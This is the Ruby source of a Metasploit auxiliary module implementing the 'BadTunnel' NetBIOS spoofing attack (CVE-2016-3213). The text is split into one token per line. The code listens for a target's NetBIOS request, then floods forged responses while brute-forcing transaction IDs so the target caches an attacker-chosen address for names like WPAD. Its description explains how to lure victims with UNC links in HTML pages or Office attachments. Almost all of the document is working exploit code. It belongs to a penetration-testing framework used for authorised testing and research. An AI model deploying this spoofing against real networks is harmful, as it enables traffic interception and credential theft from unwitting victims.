##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
MetasploitModule < Msf::Auxiliary
def
initialize
super
(
'Name'
=>
'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)'
,
'Description'
=> %q{
This
module
listens
for
a NetBIOS name request
and
then
continuously spams
NetBIOS responses to a target
for
given hostname, causing the target to cache
a malicious address
for
this name. On high-speed networks, the
PPSRATE
value
should be increased to speed up this attack. As an example, a value of around
30
,
000
is almost
100
% successful
when
spoofing a response
for
a
'WPAD'
lookup.
Distant targets may require more time
and
lower rates
for
a successful attack.
This
module
works
when
the target is behind a
NAT
gateway, since the stream of
NetBIOS responses will keep the
NAT
mapping alive after the initial setup. To
trigger the initial NetBIOS request to the Metasploit system, force the target
to access a
UNC
link pointing to the same address (
HTML
, Office attachment, etc).
This
NAT
-piercing issue was named the
'BadTunnel'
vulnerability by the discoverer,
Yu Yang (
@tombkeeper
). The Microsoft patches (
MS16
-
063
/
MS16
-
077
) impact the way
that the proxy host (
WPAD
) host is identified, but
do
change the predictability
of NetBIOS requests.
},
'Author'
=> [
'vvalien'
,
# Metasploit Module (post)
'hdm'
,
# Metasploit Module
'tombkeeper'
# Vulnerability Discovery
],
'License'
=>
MSF_LICENSE
,
'Actions'
=>
[
[
'Service'
]
],
'PassiveActions'
=>
[
'Service'
],
'DefaultAction'
=>
'Service'
,
'References'
=>
[
[
'CVE'
,
'2016-3213'
],
[
'MSB'
,
'MS16-063'
],
[
'CVE'
,
'2016-3236'
],
[
'MSB'
,
'MS16-077'
]
],
'DisclosureDate'
=>
'Jun 14 2016'
)
register_options(
[
OptAddress.
new
(
'SRVHOST'
, [
true
,
"The local host to listen on."
,
'0.0.0.0'
]),
OptPort.
new
(
'SRVPORT'
, [
true
,
"The local port to listen on."
,
137
]),
OptString.
new
(
'NBNAME'
, [
true
,
"The NetBIOS name to spoof a reply for"
,
'WPAD'
]),
OptAddress.
new
(
'NBADDR'
, [
true
,
"The address that the NetBIOS name should resolve to"
, Rex::Socket.source_address(
"50.50.50.50"
) ]),
OptInt.
new
(
'PPSRATE'
, [
true
,
"The rate at which to send NetBIOS replies"
,
1_000
])
],
self
.
class
)
end
def
netbios_service
@port
= datastore[
'SRVPORT'
].to_i
# MacOS X workaround
::Socket.do_not_reverse_lookup =
true
@sock
= ::UDPSocket.
new
()
@sock
.setsockopt(::Socket::
SOL_SOCKET
, ::Socket::
SO_REUSEADDR
,
1
)
@sock
.bind(datastore[
'SRVHOST'
],
@port
)
@targ_rate
= datastore[
'PPSRATE'
]
@fake_name
= datastore[
'NBNAME'
]
@fake_addr
= datastore[
'NBADDR'
]
print_status(
"Listening for NetBIOS requests..."
)
begin
loop
do
packet, addr =
@sock
.recvfrom(
65535
)
next
if
packet.length ==
0
@targ_addr
= addr[
3
]
@targ_port
= addr[
1
]
break
end
# TODO: Seed our counter based on the TXID of this request
print_status(
"Received a NetBIOS request from #{@targ_addr}:#{@targ_port}"
)
@sock
.connect(
@targ_addr
,
@targ_port
)
netbios_spam
rescue
::Interrupt
raise
$!
rescue
::
Exception
=> e
print_error(
"Error #{e.class} #{e} #{e.backtrace}"
)
ensure
@sock
.close
if
@sock
end
end
def
netbios_spam
payload =
"\xff\xff"
+
# TX ID (will brute force this)
"\x85\x00"
+
# Flags = response + authoratative + recursion desired
"\x00\x00"
+
# Questions = 0
"\x00\x01"
+
# Answer RRs = 1
"\x00\x00"
+
# Authority RRs = 0
"\x00\x00"
+
# Additional RRs = 0
"\x20"
+
Rex::Proto::
SMB
::Utils.nbname_encode( [
@fake_name
.upcase].pack(
"A15"
) +
"\x00"
) +
"\x00"
+
"\x00\x20"
+
# Type = NB
"\x00\x01"
+
# Class = IN
"\x00\x04\x93\xe0"
+
# TTL long time
"\x00\x06"
+
# Datalength = 6
"\x00\x00"
+
# Flags B-node, unique
Rex::Socket.addr_aton(
@fake_addr
)
stime =
Time
.now.to_f
pcnt =
0
pps =
0
print_status(
"Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps..."
)
live =
true
while
live
0
.upto(
65535
)
do
|txid|
begin
payload[
0
,
2
] = [txid].pack(
"n"
)
@sock
.write(payload)
pcnt +=
1
pps = (pcnt / (
Time
.now.to_f - stime)).to_i
if
pps >
@targ_rate
sleep(
0
.
01
)
end
rescue
Errno::
ECONNREFUSED
print_error(
"Error: Target sent us an ICMP port unreachable, port is likely closed"
)
live =
false
break
end
end
end
end
def
run
loop { netbios_service }
end
end